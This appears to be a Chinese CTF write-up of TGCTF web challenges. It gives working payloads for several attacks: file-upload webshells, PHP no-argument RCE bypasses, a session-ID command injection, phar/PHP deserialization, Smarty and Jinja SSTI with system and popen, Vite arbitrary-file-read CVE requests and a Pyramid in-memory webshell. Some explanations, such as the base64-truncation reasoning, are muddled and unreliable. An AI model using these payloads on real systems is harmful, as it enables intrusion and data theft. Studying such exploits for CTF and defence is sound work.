TGCTF web

TGCTF web
达达TGCTF
(ez)upload
上传一个图片马 抓包 通过 /. 绕过
在upload.php.bak里我们可以看到源码
上传成功 访问uploads/shell.php
执行命令
1 | shell=system('env'); |
AAA偷渡阴平
可以通过无参rce读取
要列出根目录,可以利用 PHP 的预定义常量 DIRECTORY_SEPARATOR
绕过对斜杠 /
的过滤。
方法:使用 DIRECTORY_SEPARATOR
常量
PHP 的 DIRECTORY_SEPARATOR
是一个预定义常量,在 Linux 系统中值为 /
。通过该常量可以构造根目录的路径,而无需直接使用被过滤的斜杠。
所以我们可以通过
1 | print_r(scandir(DIRECTORY_SEPARATOR)); |
来列出根目录 发现了 flag文件
读取flag
方法:使用 chdir
切换目录
PHP 的 chdir
函数可以切换当前工作目录。结合 DIRECTORY_SEPARATOR
(值为 /
),无需使用 .
拼接路径即可访问根目录。
1 | chdir(DIRECTORY_SEPARATOR);readfile(flag); |
关键点解释:
- 切换目录到根目录:
chdir(DIRECTORY_SEPARATOR)
将当前工作目录切换到根目录/
。DIRECTORY_SEPARATOR
是 PHP 预定义常量,值为/
,绕过对斜杠的直接使用。
- 直接读取文件:
readfile(flag)
会从当前目录(根目录)读取flag
文件。flag
作为未定义常量,PHP 自动转为字符串'flag'
。
- 绕过过滤的字符:
- 所有字符均为字母、下划线、括号或分号,符合过滤规则。
绕过 .
过滤的核心技巧:
- 目录切换代替路径拼接:通过
chdir
直接进入根目录,避免使用.
拼接路径。 - 预定义常量:
DIRECTORY_SEPARATOR
提供/
,绕过斜杠过滤。 - 分号分隔语句:允许在同一行执行多条命令。
AAA偷渡阴平(复仇)
无参rce session绕过
payload:
1 | ?tgctf2025=session_start();system(hex2bin(session_id())); |
1 | Cookie: PHPSESSID=636174202f666c6167 |
什么文件上传?
访问 robots.txt 发现/class.php 继续访问 进入反序列化
poc:
1 | <?php |
为什么原利用链能触发 __toString
?
- 链式调用:
yesterday::__destruct
➔ 调用$this->study->hard()
。- 由于
study
是today
对象且today
没有hard
方法,触发today::__call
。 - 在
today::__call
中,执行return $this->doing->better
。 - 由于
doing
是future
对象且better
属性不存在,PHP会尝试将future
对象隐式转换为字符串(触发__toString
)。
- 关键逻辑:
$this->doing->better
的访问:- 由于
better
属性不存在,PHP会尝试调用future::__get
。 - 但
future
类没有定义__get
方法,导致PHP抛出错误。 - 在错误处理过程中,PHP可能会尝试将
future
对象转换为字符串(例如输出错误信息),从而触发future::__toString
。
- 由于
return $this->doing->better
:
- 触发
__get
(如果属性不存在)。 - 若
__get
未定义,PHP尝试将对象转换为字符串(触发__toString
)
payload:
1 | filename=Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NsWlVTbUZXUlRWUFZHMXpNVlpYU1hsaVIzQk9UVlZzTkZZeWRHOWpiVVpXVDBoa1VGSkdjRkJXYTJNMVkwWndSbGw2Vm1oTlYzaGFXVlJLYzFWSFJuSldWRXBoVmtVMVQxUnRjekZXVjBsNVlrZEdVMlZ0ZUROWFZ6QjRZVzFHVms5SVpGQlNSbkJRV1Zjd05XTkdaSFJPVm1ST1VqRktXbFV5TVRSVGJVWjBUMVJPVlUxcVZYZFVNV1JoVjFVeFJVMUVNRDA9.php |
然后post wow执行命令就可以了
为什么不加.php也可以成功执行命令?
在提供的代码中,通过 substr($_GET['filename'],0,-4)
截取输入参数的前 N-4 个字符后进行反序列化。即使不添加 .php
后缀也能成功触发漏洞,原因如下:
关键原因分析
Base64 编码的容错性:
- Base64 编码每次处理 3 字节 的原始数据,生成 4 字节 的编码结果。
- 如果原始数据长度不足 3 的倍数,会添加
=
作为填充字符。 - 多次编码后的数据末尾可能天然存在填充字符(如
====
),截断后仍能正确解码。
示例:
1
原始数据 → Base64 → Base64 → Base64 → Base64 → Base64 → 最终编码字符串(可能含填充字符)
若最终编码字符串末尾为
XXXX====
,截断最后 4 字符(====
)后,剩余部分仍可正确解码。PHP 的自动填充处理:
- PHP 的
base64_decode
函数会自动忽略末尾的无效字符(如多余填充符号)。 - 即使截断导致部分填充字符丢失,解码时仍能通过自动补全还原数据。
- PHP 的
攻击场景验证:
若五次编码后的字符串本身以
====
结尾,提交filename=XXXX
(不添加.php
)时:1
substr("XXXX", 0, -4) → "" // 截断后为空,无法触发漏洞
但若五次编码后的字符串长度为 N+4,且末尾 4 字符为有效编码(非填充字符),则:
1
substr("XXXXYYYY", 0, -4) → "XXXX" // 有效截断,可解码
此时无需后缀也能触发漏洞。
成功利用的条件
- 编码后的字符串长度需适配:
五次 Base64 编码后的总长度需满足(原始长度 + 填充) % 4 == 0
,确保截断后仍能正确解码。 - 末尾字符非关键数据:
截断的 4 字符需为填充或冗余数据,不影响反序列化结构。
不加 .php
后缀仍能成功,是因为 五次编码后的字符串末尾天然包含 4 个冗余字符(如填充符号),截断后不影响解码逻辑。这一特性使得攻击者无需强制添加后缀即可完成利用。实际攻击中需确保编码后的字符串结构适配截断操作。
什么文件上传?(复仇)
phar反序列化
phar://协议流可被file_exists()函数直接触发,并且反序列化成功。
链子跟上面一样
爆破可以爆出文件后缀是atg
生成phar文件 并将后缀改为atg上传
1 | <?php |
然后通过phar://协议读取该文件进行post传参
1 | http://127.0.0.1:64346/class.php?filename=phar://uploads/phar.atg |
火眼辩魑魅
非预期
访问robots.txt
利用的是通过tgshell.php的漏洞
因为他写了post shell吗 然后试着传参发现有waf
这里可以直接通过antsword连接 然后在根目录里找到flag
预期
tgxff.php文件
这里是SSTI的smarty注入
smarty SSTI
smarty是基于PHP开发的,官方文档 于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别
注入点:
- XFF
- Client IP
确认漏洞:
- 输入
{$smarty.version}
,返回smarty的版本号
{php}{/php}
标签
Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令
1 | {php}phpinfo();{/php} |
但在Smarty3的官方手册里有以下描述:
- Smarty已经废弃{php}标签,强烈建议不要使用
- 在Smarty 3.1,
{php}
仅在SmartyBC中可用
{literal}
标签
官方手册这样描述这个标签:
{literal}
可以让一个模板区域的字符原样输出- 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析
在php5的环境中可以使用
1 | <script language="php">phpinfo();</script> |
php7就不能用了
静态方法
通过self获取Smarty类再调用其静态方法实现文件读写
Smarty类的getStreamVariable方法的代码
1 | public function getStreamVariable($variable) |
这个方法可以读取一个文件并返回其内容 所以我们可以用self来获取Smarty对象并调用这个方法 很多文章里给的payload都形如:
1 | {self::getStreamVariable("file:///etc/passwd")} |
但在3.1.30的Smarty版本中官方已经把该静态方法删除
{if}
标签
官方文档中的描述:
- Smarty的
{if}
条件判断和PHP的if非常相似,只是增加了一些特性 - 每个
{if}
必须有一个配对的{/if}
,也可以使用{else}
和{elseif}
- 全部的PHP条件表达式和函数都可以在if内使用,如
||
,or
,&&
,and,
is_array(),
等等,如:{if is_array($array)}{/if}
payload
1 | {if phpinfo()}{/if} |
解题
1 | x-forwarded-for: {$smarty.version} |
发现该smarty的版本是3.1.30
这里应该是利用{if}标签
1 | x-forwarded-for: {if system('ls /')}{/if} |
直面天命
查看源代码发现hint 路由
这里的路由 应该可以爆破出来(我看的hint 没有爆破www)访问 /aazz
然后这里通过抓包可以发现一个filename参数 这个是可以用来进行文件读取的 直接传?filename=flag 就能读取
直面天命复仇
/aazz路由里可以看到源码
1 | 天命 转换为{{ |
编码绕过waf payload
1 | 天命g['pop']['__globals__']['__builtins__']['__import__']('so'[::-1])['popen']('cat /tgffff11111aaaagggggggg')['read']()难违 |
前端GAME
Vite CVE-2025-30208 安全漏洞
https://zhuanlan.zhihu.com/p/1891135703653544015
尝试访问@fs/etc/passwd?raw??
调试器里可以找到flag目录
访问@fs/tgflagggg?raw??
前端GAME Plus
CVE-2025-31486 Vite开发服务器任意文件读取漏洞
CVE-2025-31486 Vite开发服务器任意文件读取漏洞复现-CSDN博客
1 | /tgflagggg?.svg?.wasm?init |
1 | import sys;config = sys.modules['__main__'].config;app=sys.modules['__main__'].app;print(config);config.add_route('shell', '/111');config.add_view(lambda request: Response(__import__('os').popen(request.params.get('1')).read()),route_name='shell');app = config.make_wsgi_app() |
前端GAME Ultra
CVE-2025-32395
Vite任意文件读取bypass调试分析(CVE-2025-32395)-先知社区
1 | /@fs/app/#/../../../../../tgflagggg |
这里直接在浏览器里访问不可以了
可以使用bp 或者curl请求
1 | curl --request-target /@fs/app/#/../../../../tgflagggg http://127.0.0.1:59453 |
熟悉的配方,熟悉的味道
pyramid框架内存马,代码审计
1 | from pyramid.config import Configurator |
下面的eval限制不用管 写入的payload在exec这里就会执行但无回显
payload:
1 | import sys;config = sys.modules['__main__'].config;app=sys.modules['__main__'].app;print(config);config.add_route('shell', '/shell.php');config.add_view(lambda request: Response(__import__('os').popen(request.params.get('1')).read()),route_name='shell');app = config.make_wsgi_app() |
输入执行后访问 /shell.php?1=whoami
老登,来炸鱼了?
go语言(不会)
多线程条件竞争
官方脚本
1 | import aiohttp |